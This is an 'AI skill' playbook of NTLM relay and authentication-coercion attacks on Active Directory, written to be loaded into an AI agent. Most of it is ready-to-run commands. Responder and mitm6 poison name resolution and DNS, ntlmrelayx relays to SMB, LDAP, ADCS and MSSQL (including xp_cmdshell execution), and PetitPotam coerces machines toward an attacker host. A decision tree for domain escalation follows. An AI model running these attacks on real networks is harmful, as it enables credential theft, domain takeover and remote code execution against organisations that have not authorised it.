ntlm-relay-coercion

SKILL: NTLM Relay and Authentication Coercion — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert NTLM relay and coercion techniques. Covers relay to SMB/LDAP/HTTP/MSSQL, signing requirements, Responder poisoning, mitm6, cross-protocol relay, WebDAV coercion, and all major coercion methods. Base models miss signing/EPA requirements and cross-protocol relay constraints.

0. RELATED ROUTING

Before going deep, consider loading:

• active-directory-certificate-services for ESC8 (relay to ADCS enrollment)
• active-directory-acl-abuse for ACL modification via LDAP relay (RBCD, shadow creds)
• active-directory-kerberos-attacks for Kerberos attacks after relay success
• windows-lateral-movement for post-relay lateral movement

Advanced Reference

Also load COERCION_METHODS.md when you need:

• Detailed coercion method comparison (PetitPotam, PrinterBug, DFSCoerce, etc.)
• RPC function-level details and prerequisites
• Coercer tool usage and discovery

1. NTLM RELAY FUNDAMENTALS

Victim          Attacker (relay)         Target
  │                 │                      │
  │── NTLM Auth ──→│                      │  (1) Victim authenticates (coerced/poisoned)
  │                 │── Forward Auth ─────→│  (2) Attacker relays to target
  │                 │←─ Challenge ──────── │  (3) Target sends challenge
  │←─ Challenge ────│                      │  (4) Attacker forwards challenge to victim
  │── Response ────→│                      │  (5) Victim computes response
  │                 │── Forward Response ─→│  (6) Attacker relays response to target
  │                 │←─ Authenticated! ────│  (7) Target accepts → attacker has session

NTLMv1 vs NTLMv2

2. RELAY TARGET MATRIX

Signing Check

# Check SMB signing on target
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# Outputs hosts WITHOUT required SMB signing

# Nmap SMB signing check
nmap -p 445 --script smb2-security-mode TARGET_RANGE

3. RESPONDER — CREDENTIAL CAPTURE

LLMNR/NBT-NS/WPAD/mDNS Poisoning

# Start Responder (capture mode — don't relay, just capture hashes)
responder -I eth0 -dwP

# Analyze mode (passive, no poisoning)
responder -I eth0 -A

# Key protocols poisoned:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137)  — NetBIOS Name Service
# WPAD              — Web Proxy Auto-Discovery (proxy config)
# mDNS (UDP 5353)   — Multicast DNS

Responder + Relay (Don't Capture, Relay Instead)

# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off

# Start Responder for poisoning only
responder -I eth0 -dwP

# Start ntlmrelayx for relay
ntlmrelayx.py -tf targets.txt -smb2support

4. NTLMRELAYX — RELAY EXECUTION

Relay to SMB (Admin Execution)

# Execute command on targets (requires admin privs on target)
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Dump SAM hashes
ntlmrelayx.py -tf targets.txt -smb2support

# Interactive SOCKS proxy (maintain sessions)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user

Relay to LDAP (ACL Modification)

# Automatic RBCD (delegate-access)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Escalate via shadow credentials
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support

# Add computer account
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support

# Dump domain info
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain

Relay to ADCS HTTP (ESC8)

ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# Use with coercion to relay DC auth → get DC certificate

Relay to MSSQL

ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"

5. MITM6 — IPv6 DNS TAKEOVER

# mitm6 exploits IPv6 auto-configuration to become DNS server
mitm6 -d domain.com

# Combined with ntlmrelayx
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support

# Flow:
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
# 2. Victim queries WPAD → attacker responds
# 3. NTLM auth triggered → relayed to LDAP
# 4. RBCD or shadow credentials set on victim computer

6. CROSS-PROTOCOL RELAY

SMB → LDAP

Capture SMB authentication, relay to LDAP (requires no LDAP signing enforcement).

# Coerce SMB auth from DC, relay to LDAP on same or different DC
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support

# Trigger coercion (attacker receives SMB auth)
PetitPotam.py ATTACKER_IP DC01_IP

Limitation: SMB → LDAP relay fails if the source uses SMB signing negotiation that indicates relay.

WebDAV → LDAP

WebDAV from workstations sends NTLM over HTTP → relay to LDAP (no signing issues).

# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Coerce via WebDAV (workstation must have WebClient service running)
# Use @ATTACKER_PORT format to force WebDAV
PetitPotam.py ATTACKER@80/test WORKSTATION_IP

7. WEBDAV-BASED COERCION

WebClient service (WebDAV) converts SMB-type coercion to HTTP-based NTLM.

# Check if WebClient is running (port 80 listener or service query)
crackmapexec smb TARGET -u user -p pass -M webdav

# Start WebDAV coercion (from workstation, not server)
# Force target to authenticate via HTTP:
# Use UNC path format: \\ATTACKER@PORT\share

Key advantage: HTTP-based NTLM avoids SMB signing requirements.

8. NTLM RELAY DECISION TREE

Want to relay NTLM authentication
│
├── What auth can you capture?
│   ├── Responder poisoning (passive, wait for queries)
│   ├── mitm6 (DHCPv6 DNS takeover, periodic)
│   └── Active coercion → load COERCION_METHODS.md
│
├── What target to relay to?
│   │
│   ├── Need code execution?
│   │   ├── SMB target without signing → ntlmrelayx to SMB (§4)
│   │   └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
│   │
│   ├── Need domain escalation?
│   │   ├── LDAP signing not enforced?
│   │   │   ├── Relay to LDAP → RBCD (§4)
│   │   │   ├── Relay to LDAP → shadow credentials (§4)
│   │   │   └── Relay to LDAP → add computer + delegate (§4)
│   │   └── LDAP signing enforced?
│   │       └── Relay to ADCS HTTP (ESC8) → certificate (§4)
│   │
│   └── Need certificate?
│       └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
│
├── Source is SMB-based?
│   ├── Target is SMB → check signing (§2)
│   ├── Target is LDAP → may work (cross-protocol, §6)
│   └── Target is HTTP → works (cross-protocol)
│
├── Source is HTTP-based (WebDAV)?
│   └── Relay to any target (no signing issues, §6/§7)
│
└── Relay fails?
    ├── Check signing requirements (§2)
    ├── Check EPA/channel binding
    ├── Try cross-protocol (SMB → LDAP)
    └── Try WebDAV coercion (avoids SMB signing)